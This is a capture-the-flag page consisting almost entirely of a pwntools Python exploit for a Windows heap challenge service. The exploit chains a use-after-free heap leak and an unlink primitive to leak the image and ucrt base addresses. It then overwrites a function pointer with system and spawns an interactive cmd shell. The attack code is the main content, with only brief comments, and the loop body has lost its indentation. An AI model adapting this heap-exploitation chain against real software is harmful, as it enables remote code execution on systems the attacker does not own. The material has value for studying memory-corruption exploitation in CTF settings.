Tags: windows 

Rating:

```python
from pwn import *
#context.log_level = 'debug'
ip = "10.10.10.137";port = 8888
io = remote(ip,port)

sla = lambda delim,data : (io.sendlineafter(delim, data))
add = lambda size : (sla("option >\r\n", '1'),sla("size >\r\n", str(size)))
show = lambda index : (sla("option >\r\n", '3'),sla("index >\r\n", str(index)))
edit = lambda index,data : (sla("option >\r\n", '4'),sla("index >\r\n", str(index)),sla("content >\r\n", data))
free = lambda index : (sla("option >\r\n", '2'),sla("index >\r\n", str(index)))
uu32 = lambda data : u32(data.ljust(4, b'\0'))

# UAF to leak heap
while(1):
add(32);add(32);add(32) # free block0/1, the fd is point to the largest free chunk, it can success leak
free(1);show(1) # can't free block2 , because it will merge to the largest free chunk.
heap_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x630 # and the fd will point to heap_base+0x00c4, it contains NULL byte.
if heap_base > 0x1000000 : # if the heap_base less than 4 byte, the next step to leak image_base can't success
break # because when we leak image_base, before the image_base is the heap_addr
io.close();io = remote(ip,port)

log.warn("heap_base:" + hex(heap_base))
list_addr = heap_base + 0x578
block0 = list_addr
block1 = list_addr + 8

# use unlink to make a loop and leak image_base
edit(1,p32(block1)+p32(block1+4)) # *(block1 + 4) = block1 + 4 , when show block1, it can leak data in list
add(32);show(1); # add(32) or free(0) both can trigger unlink
io.recv(4) # 4 byte heap_addr,if it's only 3 byte, it will be stop to print due to NULL byte
image_base = uu32(io.recvuntil("\r\n", drop=True)[:4])-0x1043
log.warn("image_base:" + hex(image_base))

# use loop to leak ucrt
puts_iat = image_base + 0x20c4
edit(1, p32(puts_iat)+p32(0)+p32(block0));show(1) # modify block2content point to block0
ucrt_base = u32(io.recv(4))-0xb89f0
log.warn("ucrt_base:" + hex(ucrt_base))
system = ucrt_base+0xefda0

# modify func pointer to system and tigger it
edit(0, 'cmd\x00') # normal write, add "cmd" to block0content
edit(2, p32(system)+p32(heap_base+0x600)) # modify block0 func to system and repair block0content
show(0) # trigger system(cmd)
io.interactive()
```

Original writeup (https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/).